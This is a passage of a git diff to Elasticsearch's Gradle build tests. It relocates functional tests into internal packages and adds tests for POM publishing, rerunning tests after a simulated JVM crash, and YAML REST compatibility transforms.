b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/InternalDistributionBwcSetupPluginFuncTest.groovy index 8d3c6e4827744..42078dc3c32f9 100644 --- a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/InternalDistributionBwcSetupPluginFuncTest.groovy +++ b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/InternalDistributionBwcSetupPluginFuncTest.groovy @@ -8,10 +8,16 @@ package org.elasticsearch.gradle.internal +import org.elasticsearch.gradle.Architecture import org.elasticsearch.gradle.fixtures.AbstractGitAwareGradleFuncTest import org.gradle.testkit.runner.TaskOutcome +import spock.lang.IgnoreIf import spock.lang.Unroll +/* + * Test is ignored on ARM since this test case tests the ability to build certain older BWC branches that we don't support on ARM + */ +@IgnoreIf({ Architecture.current() == Architecture.AARCH64 }) class InternalDistributionBwcSetupPluginFuncTest extends AbstractGitAwareGradleFuncTest { def setup() { diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/InternalDistributionDownloadPluginFuncTest.groovy b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/InternalDistributionDownloadPluginFuncTest.groovy index 8d0c00fddf01d..24ebcd4d61c90 100644 --- a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/InternalDistributionDownloadPluginFuncTest.groovy +++ b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/InternalDistributionDownloadPluginFuncTest.groovy @@ -16,22 +16,6 @@ import org.gradle.testkit.runner.TaskOutcome class InternalDistributionDownloadPluginFuncTest extends AbstractGradleFuncTest { - def "plugin application fails on non internal build"() { - given: - buildFile.text = """ - plugins { - id 'elasticsearch.internal-distribution-download' - } - """ - - when: - def result = gradleRunner("tasks").buildAndFail() - - then: - assertOutputContains(result.output, "Plugin 'elasticsearch.internal-distribution-download' is not supported. " + - "Use 'elasticsearch.distribution-download' plugin instead") - } - def "resolves current version from local build"() { given: internalBuild() diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/JdkDownloadPluginFuncTest.groovy b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/JdkDownloadPluginFuncTest.groovy similarity index 96% rename from buildSrc/src/integTest/groovy/org/elasticsearch/gradle/JdkDownloadPluginFuncTest.groovy rename to buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/JdkDownloadPluginFuncTest.groovy index e80c9095f69c5..586676fda2b0f 100644 --- a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/JdkDownloadPluginFuncTest.groovy +++ b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/JdkDownloadPluginFuncTest.groovy @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle +package org.elasticsearch.gradle.internal import com.github.tomakehurst.wiremock.WireMockServer import org.elasticsearch.gradle.fixtures.AbstractGradleFuncTest @@ -21,9 +21,9 @@ import java.nio.file.Paths import java.util.regex.Matcher import java.util.regex.Pattern -import static org.elasticsearch.gradle.JdkDownloadPlugin.VENDOR_ADOPTOPENJDK -import static org.elasticsearch.gradle.JdkDownloadPlugin.VENDOR_OPENJDK -import static org.elasticsearch.gradle.JdkDownloadPlugin.VENDOR_AZUL +import static org.elasticsearch.gradle.internal.JdkDownloadPlugin.VENDOR_ADOPTOPENJDK +import static org.elasticsearch.gradle.internal.JdkDownloadPlugin.VENDOR_OPENJDK +import static org.elasticsearch.gradle.internal.JdkDownloadPlugin.VENDOR_AZUL class JdkDownloadPluginFuncTest extends AbstractGradleFuncTest { @@ -32,7 +32,7 @@ class JdkDownloadPluginFuncTest extends AbstractGradleFuncTest { private static final String ADOPT_JDK_VERSION_11 = "11.0.10+9" private static final String ADOPT_JDK_VERSION_15 = "15.0.2+7" private static final String OPEN_JDK_VERSION = "12.0.1+99@123456789123456789123456789abcde" - private static final String AZUL_AARCH_VERSION = "15.0.1+99@123456789123456789123456789abcde" + private static final String AZUL_AARCH_VERSION = "16.0.1+99@123456789123456789123456789abcde" private static final Pattern JDK_HOME_LOGLINE = Pattern.compile("JDK HOME: (.*)"); @Unroll @@ -215,7 +215,7 @@ class JdkDownloadPluginFuncTest extends AbstractGradleFuncTest { } else if (vendor.equals(VENDOR_AZUL)) { final String module = isMac(platform) ? "macosx" : platform; // we only test zulu 15 darwin aarch64 for now - return "/zulu${module.equals('linux') ? '-embedded' : ''}/bin/zulu15.29.15-ca-jdk15.0.2-${module}_${arch}.tar.gz"; + return "/zulu${module.equals('linux') ? '-embedded' : ''}/bin/zulu16.28.11-ca-jdk16.0.0-${module}_${arch}.tar.gz"; } } diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/PublishPluginFuncTest.groovy b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/PublishPluginFuncTest.groovy new file mode 100644 index 0000000000000..6155e858780ae --- /dev/null +++ b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/PublishPluginFuncTest.groovy @@ -0,0 +1,379 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal + +import org.elasticsearch.gradle.fixtures.AbstractGradleFuncTest +import org.gradle.testkit.runner.TaskOutcome +import org.xmlunit.builder.DiffBuilder +import org.xmlunit.builder.Input + +class PublishPluginFuncTest extends AbstractGradleFuncTest { + + def "artifacts and tweaked pom is published"() { + given: + buildFile << """ + plugins { + id 'elasticsearch.java' + id 'elasticsearch.publish' + } + + version = "1.0" + group = 'org.acme' + description = "custom project description" + """ + + when: + def result = gradleRunner('assemble').build() + + then: + result.task(":generatePom").outcome == TaskOutcome.SUCCESS + file("build/distributions/hello-world-1.0.jar").exists() + file("build/distributions/hello-world-1.0-javadoc.jar").exists() + file("build/distributions/hello-world-1.0-sources.jar").exists() + file("build/distributions/hello-world-1.0.pom").exists() + assertXmlEquals(file("build/distributions/hello-world-1.0.pom").text, """ + + 4.0.0 + org.acme + hello-world + 1.0 + hello-world + custom project description + """ + ) + } + + def "hides runtime dependencies and handles shadow dependencies"() { + given: + buildFile << """ + plugins { + id 'elasticsearch.java' + id 'elasticsearch.publish' + id 'com.github.johnrengelman.shadow' + } + + repositories { + mavenCentral() + } + + dependencies { + implementation 'org.slf4j:log4j-over-slf4j:1.7.30' + shadow 'org.slf4j:slf4j-api:1.7.30' + } + + publishing { + repositories { + maven { + url = "\$buildDir/repo" + } + } + } + version = "1.0" + group = 'org.acme' + description = 'some description' + """ + + when: + def result = gradleRunner('assemble', '--stacktrace').build() + + then: + result.task(":generatePom").outcome == TaskOutcome.SUCCESS + file("build/distributions/hello-world-1.0-original.jar").exists() + file("build/distributions/hello-world-1.0.jar").exists() + file("build/distributions/hello-world-1.0-javadoc.jar").exists() + file("build/distributions/hello-world-1.0-sources.jar").exists() + file("build/distributions/hello-world-1.0.pom").exists() + assertXmlEquals(file("build/distributions/hello-world-1.0.pom").text, """ + + 4.0.0 + org.acme + hello-world + 1.0 + hello-world + some description + + + org.slf4j + slf4j-api + 1.7.30 + runtime + + + """ + ) + } + + def "handles project shadow dependencies"() { + given: + settingsFile << "include ':someLib'" + file('someLib').mkdirs() + buildFile << """ + plugins { + id 'elasticsearch.java' + id 'elasticsearch.publish' + id 'com.github.johnrengelman.shadow' + } + + dependencies { + shadow project(":someLib") + } + publishing { + repositories { + maven { + url = "\$buildDir/repo" + } + } + } + + allprojects { + apply plugin: 'elasticsearch.java' + version = "1.0" + group = 'org.acme' + } + + description = 'some description' + """ + + when: + def result = gradleRunner(':assemble', '--stacktrace').build() + + then: + result.task(":generatePom").outcome == TaskOutcome.SUCCESS + file("build/distributions/hello-world-1.0-original.jar").exists() + file("build/distributions/hello-world-1.0.jar").exists() + file("build/distributions/hello-world-1.0-javadoc.jar").exists() + file("build/distributions/hello-world-1.0-sources.jar").exists() + file("build/distributions/hello-world-1.0.pom").exists() + assertXmlEquals(file("build/distributions/hello-world-1.0.pom").text, """ + + 4.0.0 + org.acme + hello-world + 1.0 + hello-world + some description + + + org.acme + someLib + 1.0 + runtime + + + """ + ) + } + + def "generates artifacts for shadowed elasticsearch plugin"() { + given: + file('license.txt') << "License file" + file('notice.txt') << "Notice file" + buildFile << """ + plugins { + id 'elasticsearch.internal-es-plugin' + id 'elasticsearch.publish' + id 'com.github.johnrengelman.shadow' + } + + esplugin { + name = 'hello-world-plugin' + classname 'org.acme.HelloWorldPlugin' + description = "custom project description" + } + + publishing { + repositories { + maven { + url = "\$buildDir/repo" + } + } + } + + // requires elasticsearch artifact available + tasks.named('bundlePlugin').configure { enabled = false } + licenseFile = file('license.txt') + noticeFile = file('notice.txt') + version = "1.0" + group = 'org.acme' + """ + + when: + def result = gradleRunner('assemble', '--stacktrace').build() + + then: + result.task(":generatePom").outcome == TaskOutcome.SUCCESS + file("build/distributions/hello-world-plugin-1.0-original.jar").exists() + file("build/distributions/hello-world-plugin-1.0.jar").exists() + file("build/distributions/hello-world-plugin-1.0-javadoc.jar").exists() + file("build/distributions/hello-world-plugin-1.0-sources.jar").exists() + file("build/distributions/hello-world-plugin-1.0.pom").exists() + assertXmlEquals(file("build/distributions/hello-world-plugin-1.0.pom").text, """ + + 4.0.0 + org.acme + hello-world-plugin + 1.0 + hello-world + custom project description + + """ + ) + } + + def "generates pom for elasticsearch plugin"() { + given: + file('license.txt') << "License file" + file('notice.txt') << "Notice file" + buildFile << """ + plugins { + id 'elasticsearch.internal-es-plugin' + id 'elasticsearch.publish' + } + + esplugin { + name = 'hello-world-plugin' + classname 'org.acme.HelloWorldPlugin' + description = "custom project description" + } + + // requires elasticsearch artifact available + tasks.named('bundlePlugin').configure { enabled = false } + licenseFile = file('license.txt') + noticeFile = file('notice.txt') + version = "1.0" + group = 'org.acme' + """ + + when: + def result = gradleRunner('generatePom').build() + + then: + result.task(":generatePom").outcome == TaskOutcome.SUCCESS + file("build/distributions/hello-world-plugin-1.0.pom").exists() + assertXmlEquals(file("build/distributions/hello-world-plugin-1.0.pom").text, """ + + 4.0.0 + org.acme + hello-world-plugin + 1.0 + hello-world + custom project description + """ + ) + } + + def "generated pom can be tweaked and validated"() { + given: + // scm info only added for internal builds + internalBuild() + buildFile << """ + BuildParams.init { it.setGitOrigin("https://some-repo.com/repo.git") } + + apply plugin:'elasticsearch.java' + apply plugin:'elasticsearch.publish' + + version = "1.0" + group = 'org.acme' + description = "just a test project" + + // this is currently required to have validation passed + // In our elasticsearch build this is currently setup in the + // root build.gradle file. + plugins.withType(MavenPublishPlugin) { + publishing { + publications { + // add license information to generated poms + all { + pom.withXml { XmlProvider xml -> + Node node = xml.asNode() + node.appendNode('inceptionYear', '2009') + + Node license = node.appendNode('licenses').appendNode('license') + license.appendNode('name', "The Apache Software License, Version 2.0") + license.appendNode('url', "http://www.apache.org/licenses/LICENSE-2.0.txt") + license.appendNode('distribution', 'repo') + + Node developer = node.appendNode('developers').appendNode('developer') + developer.appendNode('name', 'Elastic') + developer.appendNode('url', 'https://www.elastic.co') + } + } + } + } + } + """ + + when: + def result = gradleRunner('generatePom', 'validatElasticPom').build() + + then: + result.task(":generatePom").outcome == TaskOutcome.SUCCESS + file("build/distributions/hello-world-1.0.pom").exists() + assertXmlEquals(file("build/distributions/hello-world-1.0.pom").text, """ + + 4.0.0 + org.acme + hello-world + 1.0 + hello-world + just a test project + https://some-repo.com/repo.git + + https://some-repo.com/repo.git + + 2009 + + + The Apache Software License, Version 2.0 + http://www.apache.org/licenses/LICENSE-2.0.txt + repo + + + + + Elastic + https://www.elastic.co + + + """ + ) + } + + private boolean assertXmlEquals(String toTest, String expected) { + def diff = DiffBuilder.compare(Input.fromString(expected)) + .ignoreWhitespace() + .ignoreComments() + .normalizeWhitespace() + .withTest(Input.fromString(toTest)) + .build() + diff.differences.each { difference -> + println difference + } + if(diff.differences.size() > 0) { + println """ given: +$toTest +""" + println """ expected: +$expected +""" + + + } + assert diff.hasDifferences() == false + true + } +} diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/test/rerun/InternalTestRerunPluginFuncTest.groovy b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/test/rerun/InternalTestRerunPluginFuncTest.groovy new file mode 100644 index 0000000000000..646dda965589a --- /dev/null +++ b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/test/rerun/InternalTestRerunPluginFuncTest.groovy @@ -0,0 +1,285 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rerun + +import org.elasticsearch.gradle.fixtures.AbstractGradleFuncTest + +class InternalTestRerunPluginFuncTest extends AbstractGradleFuncTest { + + def "does not rerun on failed tests"() { + when: + buildFile.text = """ + plugins { + id 'java' + id 'elasticsearch.internal-test-rerun' + } + + repositories { + mavenCentral() + } + + dependencies { + testImplementation 'junit:junit:4.13.1' + } + + tasks.named("test").configure { + maxParallelForks = 4 + testLogging { + events "standard_out", "failed" + exceptionFormat "short" + } + } + + """ + createTest("SimpleTest") + createTest("SimpleTest2") + createTest("SimpleTest3") + createTest("SimpleTest4") + createTest("SimpleTest5") + createFailedTest("SimpleTest6") + createFailedTest("SimpleTest7") + createFailedTest("SimpleTest8") + createTest("SomeOtherTest") + createTest("SomeOtherTest1") + createTest("SomeOtherTest2") + createTest("SomeOtherTest3") + createTest("SomeOtherTest4") + createTest("SomeOtherTest5") + then: + def result = gradleRunner("test").buildAndFail() + result.output.contains("total executions: 2") == false + and: "no jvm system exit tracing provided" + normalized(result.output).contains("""Test jvm exited unexpectedly. +Test jvm system exit trace:""") == false + } + + def "all tests are rerun when test jvm has crashed"() { + when: + settingsFile.text = """ + plugins { + id "com.gradle.enterprise" version "3.6.1" + } + gradleEnterprise { + server = 'https://gradle-enterprise.elastic.co/' + } + """ + settingsFile.text + + buildFile.text = """ + plugins { + id 'java' + id 'elasticsearch.internal-test-rerun' + } + + repositories { + mavenCentral() + } + + dependencies { + testImplementation 'junit:junit:4.13.1' + } + + tasks.named("test").configure { + maxParallelForks = 4 + testLogging { + // set options for log level LIFECYCLE + events "started", "passed", "standard_out", "failed" + exceptionFormat "short" + } + } + + """ + createTest("AnotherTest") + createTest("AnotherTest2") + createTest("AnotherTest3") + createTest("AnotherTest4") + createTest("AnotherTest5") + createSystemExitTest("AnotherTest6") + createTest("AnotherTest7") + createTest("AnotherTest8") + createTest("AnotherTest10") + createTest("SimpleTest") + createTest("SimpleTest2") + createTest("SimpleTest3") + createTest("SimpleTest4") + createTest("SimpleTest5") + createTest("SimpleTest6") + createTest("SimpleTest7") + createTest("SimpleTest8") + createTest("SomeOtherTest") + then: + def result = gradleRunner("test").build() + result.output.contains("AnotherTest6 total executions: 2") + // triggered only in the second overall run + and: 'Tracing is provided' + normalized(result.output).contains("""================ +Test jvm exited unexpectedly. +Test jvm system exit trace (run: 1) +Gradle Test Executor 1 > AnotherTest6 > someTest +================""") + } + + def "rerun build fails due to any test failure"() { + when: + buildFile.text = """ + plugins { + id 'java' + id 'elasticsearch.internal-test-rerun' + } + + repositories { + mavenCentral() + } + + dependencies { + testImplementation 'junit:junit:4.13.1' + } + + tasks.named("test").configure { + maxParallelForks = 5 + testLogging { + events "started", "passed", "standard_out", "failed" + exceptionFormat "short" + } + } + + """ + createSystemExitTest("AnotherTest6") + createFailedTest("SimpleTest1") + createFailedTest("SimpleTest2") + createFailedTest("SimpleTest3") + createFailedTest("SimpleTest4") + createFailedTest("SimpleTest5") + createFailedTest("SimpleTest6") + createFailedTest("SimpleTest7") + createFailedTest("SimpleTest8") + createFailedTest("SimpleTest9") + then: + def result = gradleRunner("test").buildAndFail() + result.output.contains("AnotherTest6 total executions: 2") + result.output.contains("> There were failing tests. See the report at:") + } + + def "reruns tests till max rerun count is reached"() { + when: + buildFile.text = """ + plugins { + id 'java' + id 'elasticsearch.internal-test-rerun' + } + + repositories { + mavenCentral() + } + + dependencies { + testImplementation 'junit:junit:4.13.1' + } + + tasks.named("test").configure { + rerun { + maxReruns = 4 + } + testLogging { + // set options for log level LIFECYCLE + events "standard_out", "failed" + exceptionFormat "short" + } + } + """ + createSystemExitTest("JdkKillingTest", 5) + then: + def result = gradleRunner("test").buildAndFail() + result.output.contains("JdkKillingTest total executions: 5") + result.output.contains("Max retries(4) hit") + and: 'Tracing is provided' + normalized(result.output).contains("Test jvm system exit trace (run: 1)") + normalized(result.output).contains("Test jvm system exit trace (run: 2)") + normalized(result.output).contains("Test jvm system exit trace (run: 3)") + normalized(result.output).contains("Test jvm system exit trace (run: 4)") + normalized(result.output).contains("Test jvm system exit trace (run: 5)") + } + + private String testMethodContent(boolean withSystemExit, boolean fail, int timesFailing = 1) { + return """ + int count = countExecutions(); + System.out.println(getClass().getSimpleName() + " total executions: " + count); + + ${withSystemExit ? """ + if(count <= ${timesFailing}) { + System.exit(1); + } + """ : '' + } + + ${fail ? """ + if(count <= ${timesFailing}) { + try { + Thread.sleep(2000); + } catch(Exception e) {} + Assert.fail(); + } + """ : '' + } + """ + } + + private File createSystemExitTest(String clazzName, timesFailing = 1) { + createTest(clazzName, testMethodContent(true, false, timesFailing)) + } + private File createFailedTest(String clazzName) { + createTest(clazzName, testMethodContent(false, true, 1)) + } + + private File createTest(String clazzName, String content = testMethodContent(false, false, 1)) { + file("src/test/java/org/acme/${clazzName}.java") << """ + import org.junit.Test; + import org.junit.Before; + import org.junit.After; + import org.junit.Assert; + import java.nio.*; + import java.nio.file.*; + import java.io.IOException; + + public class $clazzName { + Path executionLogPath = Paths.get("test-executions" + getClass().getSimpleName() +".log"); + + @Before + public void beforeTest() { + logExecution(); + } + + @After + public void afterTest() { + } + + @Test + public void someTest() { + ${content} + } + + int countExecutions() { + try { + return Files.readAllLines(executionLogPath).size(); + } + catch(IOException e) { + return 0; + } + } + + void logExecution() { + try { + Files.write(executionLogPath, "Test executed\\n".getBytes(), StandardOpenOption.CREATE, StandardOpenOption.APPEND); + } catch (IOException e) { + // exception handling + } + } + } + """ + } +} diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/RestResourcesPluginFuncTest.groovy b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/test/rest/RestResourcesPluginFuncTest.groovy similarity index 90% rename from buildSrc/src/integTest/groovy/org/elasticsearch/gradle/RestResourcesPluginFuncTest.groovy rename to buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/test/rest/RestResourcesPluginFuncTest.groovy index 3ad77484a0356..b69cd7312efa7 100644 --- a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/RestResourcesPluginFuncTest.groovy +++ b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/test/rest/RestResourcesPluginFuncTest.groovy @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle +package org.elasticsearch.gradle.internal.test.rest import org.elasticsearch.gradle.fixtures.AbstractRestResourcesFuncTest import org.gradle.testkit.runner.TaskOutcome @@ -52,7 +52,7 @@ class RestResourcesPluginFuncTest extends AbstractRestResourcesFuncTest { file("/build/restResources/yamlSpecs/rest-api-spec/api/" + api).exists() } - def "restResources copies all core API (but not x-pack) by default for projects with copied tests"() { + def "restResources copies all API by default for projects with copied tests"() { given: internalBuild() buildFile << """ @@ -71,7 +71,7 @@ class RestResourcesPluginFuncTest extends AbstractRestResourcesFuncTest { String apiXpack = "xpack.json" String coreTest = "foo/10_basic.yml" String xpackTest = "bar/10_basic.yml" - setupRestResources([apiCore1, apiCore2], [coreTest], [apiXpack], [xpackTest]) + setupRestResources([apiCore1, apiCore2, apiXpack], [coreTest], [xpackTest]) // intentionally not adding tests to project, they will be copied over via the plugin // this tests that the test copy happens before the api copy since the api copy will only trigger if there are tests in the project @@ -83,7 +83,7 @@ class RestResourcesPluginFuncTest extends AbstractRestResourcesFuncTest { result.task(':copyYamlTestsTask').outcome == TaskOutcome.SUCCESS file("/build/restResources/yamlSpecs/rest-api-spec/api/" + apiCore1).exists() file("/build/restResources/yamlSpecs/rest-api-spec/api/" + apiCore2).exists() - file("/build/restResources/yamlSpecs/rest-api-spec/api/" + apiXpack).exists() == false //x-pack specs must be explicitly configured + file("/build/restResources/yamlSpecs/rest-api-spec/api/" + apiXpack).exists() file("/build/restResources/yamlTests/rest-api-spec/test/" + coreTest).exists() file("/build/restResources/yamlTests/rest-api-spec/test/" + xpackTest).exists() } @@ -97,8 +97,7 @@ class RestResourcesPluginFuncTest extends AbstractRestResourcesFuncTest { restResources { restApi { - includeCore 'foo' - includeXpack 'xpackfoo' + include 'foo', 'xpackfoo' } } """ @@ -106,7 +105,7 @@ class RestResourcesPluginFuncTest extends AbstractRestResourcesFuncTest { String apiXpackFoo = "xpackfoo.json" String apiBar = "bar.json" String apiXpackBar = "xpackbar.json" - setupRestResources([apiFoo, apiBar], [], [apiXpackFoo, apiXpackBar]) + setupRestResources([apiFoo, apiBar, apiXpackFoo, apiXpackBar]) addRestTestsToProject(["10_basic.yml"]) when: @@ -130,8 +129,7 @@ class RestResourcesPluginFuncTest extends AbstractRestResourcesFuncTest { restResources { restApi { - includeCore '*' - includeXpack '*' + include '*' } restTests { includeCore 'foo' @@ -144,7 +142,7 @@ class RestResourcesPluginFuncTest extends AbstractRestResourcesFuncTest { String apiXpack = "xpack.json" String coreTest = "foo/10_basic.yml" String xpackTest = "bar/10_basic.yml" - setupRestResources([apiCore1, apiCore2], [coreTest], [apiXpack], [xpackTest]) + setupRestResources([apiCore1, apiCore2, apiXpack], [coreTest], [xpackTest]) // intentionally not adding tests to project, they will be copied over via the plugin // this tests that the test copy happens before the api copy since the api copy will only trigger if there are tests in the project diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/YamlRestCompatTestPluginFuncTest.groovy b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/test/rest/YamlRestCompatTestPluginFuncTest.groovy similarity index 78% rename from buildSrc/src/integTest/groovy/org/elasticsearch/gradle/YamlRestCompatTestPluginFuncTest.groovy rename to buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/test/rest/YamlRestCompatTestPluginFuncTest.groovy index 8912310575a9f..d176f7897a681 100644 --- a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/YamlRestCompatTestPluginFuncTest.groovy +++ b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/test/rest/YamlRestCompatTestPluginFuncTest.groovy @@ -6,19 +6,17 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle +package org.elasticsearch.gradle.internal.test.rest import com.fasterxml.jackson.databind.ObjectMapper -import com.fasterxml.jackson.databind.ObjectReader -import com.fasterxml.jackson.databind.ObjectWriter +import com.fasterxml.jackson.databind.SequenceWriter import com.fasterxml.jackson.databind.node.ObjectNode import com.fasterxml.jackson.dataformat.yaml.YAMLFactory +import org.elasticsearch.gradle.Version import org.elasticsearch.gradle.fixtures.AbstractRestResourcesFuncTest -import org.elasticsearch.gradle.internal.rest.compat.YamlRestCompatTestPlugin +import org.elasticsearch.gradle.VersionProperties import org.gradle.testkit.runner.TaskOutcome -import java.nio.file.Path - class YamlRestCompatTestPluginFuncTest extends AbstractRestResourcesFuncTest { def compatibleVersion = Version.fromString(VersionProperties.getVersions().get("elasticsearch")).getMajor() - 1 @@ -28,10 +26,10 @@ class YamlRestCompatTestPluginFuncTest extends AbstractRestResourcesFuncTest { def YAML_FACTORY = new YAMLFactory() def MAPPER = new ObjectMapper(YAML_FACTORY) def READER = MAPPER.readerFor(ObjectNode.class) + def WRITER = MAPPER.writerFor(ObjectNode.class) def "yamlRestCompatTest does nothing when there are no tests"() { given: - addSubProject(":distribution:bwc:minor") << """ configurations { checkout } artifacts { @@ -71,9 +69,6 @@ class YamlRestCompatTestPluginFuncTest extends AbstractRestResourcesFuncTest { // avoids a dependency problem in this test, the distribution in use here is inconsequential to the test import org.elasticsearch.gradle.testclusters.TestDistribution; - testClusters { - yamlRestCompatTest.setTestDistribution(TestDistribution.INTEG_TEST) - } dependencies { yamlRestTestImplementation "junit:junit:4.12" @@ -196,19 +191,26 @@ class YamlRestCompatTestPluginFuncTest extends AbstractRestResourcesFuncTest { // avoids a dependency problem in this test, the distribution in use here is inconsequential to the test import org.elasticsearch.gradle.testclusters.TestDistribution; - testClusters { - yamlRestCompatTest.setTestDistribution(TestDistribution.INTEG_TEST) - } dependencies { yamlRestTestImplementation "junit:junit:4.12" } tasks.named("transformV7RestTests").configure({ task -> - task.replaceMatch("_type", "_doc") - task.replaceMatch("_source.values", ["z", "x", "y"], "one") + task.replaceValueInMatch("_type", "_doc") + task.replaceValueInMatch("_source.values", ["z", "x", "y"], "one") task.removeMatch("_source.blah") task.removeMatch("_source.junk", "two") task.addMatch("_source.added", [name: 'jake', likes: 'cheese'], "one") + task.addWarning("one", "warning1", "warning2") + task.addWarningRegex("two", "regex warning here .* [a-z]") + task.addAllowedWarning("added allowed warning") + task.addAllowedWarningRegex("added allowed warning regex .* [0-9]") + task.removeWarning("one", "warning to remove") + task.replaceIsTrue("value_to_replace", "replaced_value") + task.replaceIsFalse("value_to_replace", "replaced_value") + task.replaceKeyInDo("do_.some.key_to_replace", "do_.some.key_that_was_replaced") + task.replaceKeyInMatch("match_.some.key_to_replace", "match_.some.key_that_was_replaced") + task.replaceKeyInLength("key.in_length_to_replace", "key.in_length_that_was_replaced") }) // can't actually spin up test cluster from this test tasks.withType(Test).configureEach{ enabled = false } @@ -219,13 +221,21 @@ class YamlRestCompatTestPluginFuncTest extends AbstractRestResourcesFuncTest { file("distribution/bwc/minor/checkoutDir/src/yamlRestTest/resources/rest-api-spec/test/test.yml" ) << """ "one": - do: - get: + do_.some.key_to_replace: index: test id: 1 + warnings: + - "warning to remove" - match: { _source.values: ["foo"] } - match: { _type: "_foo" } - match: { _source.blah: 1234 } - match: { _source.junk: true } + - match: { match_.some.key_to_replace: true } + - is_true: "value_to_replace" + - is_false: "value_to_replace" + - is_true: "value_not_to_replace" + - is_false: "value_not_to_replace" + - length: { key.in_length_to_replace: 1 } --- "two": - do: @@ -236,6 +246,10 @@ class YamlRestCompatTestPluginFuncTest extends AbstractRestResourcesFuncTest { - match: { _type: "_foo" } - match: { _source.blah: 1234 } - match: { _source.junk: true } + - is_true: "value_to_replace" + - is_false: "value_to_replace" + - is_true: "value_not_to_replace" + - is_false: "value_not_to_replace" """.stripIndent() when: @@ -253,16 +267,28 @@ class YamlRestCompatTestPluginFuncTest extends AbstractRestResourcesFuncTest { --- setup: - skip: - features: "headers" + features: + - "headers" + - "warnings" + - "warnings_regex" + - "allowed_warnings" + - "allowed_warnings_regex" --- one: - do: - get: + do_.some.key_that_was_replaced: index: "test" id: 1 + warnings: + - "warning1" + - "warning2" headers: Content-Type: "application/vnd.elasticsearch+json;compatible-with=7" Accept: "application/vnd.elasticsearch+json;compatible-with=7" + allowed_warnings: + - "added allowed warning" + allowed_warnings_regex: + - "added allowed warning regex .* [0-9]" - match: _source.values: - "z" @@ -273,10 +299,18 @@ class YamlRestCompatTestPluginFuncTest extends AbstractRestResourcesFuncTest { - match: {} - match: _source.junk: true + - match: + match_.some.key_that_was_replaced: true + - is_true: "replaced_value" + - is_false: "replaced_value" + - is_true: "value_not_to_replace" + - is_false: "value_not_to_replace" + - length: { key.in_length_that_was_replaced: 1 } - match: _source.added: name: "jake" likes: "cheese" + --- two: - do: @@ -286,6 +320,12 @@ class YamlRestCompatTestPluginFuncTest extends AbstractRestResourcesFuncTest { headers: Content-Type: "application/vnd.elasticsearch+json;compatible-with=7" Accept: "application/vnd.elasticsearch+json;compatible-with=7" + warnings_regex: + - "regex warning here .* [a-z]" + allowed_warnings: + - "added allowed warning" + allowed_warnings_regex: + - "added allowed warning regex .* [0-9]" - match: _source.values: - "foo" @@ -293,9 +333,21 @@ class YamlRestCompatTestPluginFuncTest extends AbstractRestResourcesFuncTest { _type: "_doc" - match: {} - match: {} + - is_true: "replaced_value" + - is_false: "replaced_value" + - is_true: "value_not_to_replace" + - is_false: "value_not_to_replace" """.stripIndent()).readAll() expectedAll.eachWithIndex{ ObjectNode expected, int i -> + if(expected != actual.get(i)) { + println("\nTransformed Test:") + SequenceWriter sequenceWriter = WRITER.writeValues(System.out) + for (ObjectNode transformedTest : actual) { + sequenceWriter.write(transformedTest) + } + sequenceWriter.close() + } assert expected == actual.get(i) } diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/YamlRestTestPluginFuncTest.groovy b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/test/rest/YamlRestTestPluginFuncTest.groovy similarity index 98% rename from buildSrc/src/integTest/groovy/org/elasticsearch/gradle/YamlRestTestPluginFuncTest.groovy rename to buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/test/rest/YamlRestTestPluginFuncTest.groovy index f581f5f7b603d..9cfd51d074bee 100644 --- a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/YamlRestTestPluginFuncTest.groovy +++ b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/test/rest/YamlRestTestPluginFuncTest.groovy @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle +package org.elasticsearch.gradle.internal.test.rest import org.elasticsearch.gradle.fixtures.AbstractRestResourcesFuncTest import org.gradle.testkit.runner.TaskOutcome diff --git a/buildSrc/src/integTest/java/org/elasticsearch/gradle/BuildPluginIT.java 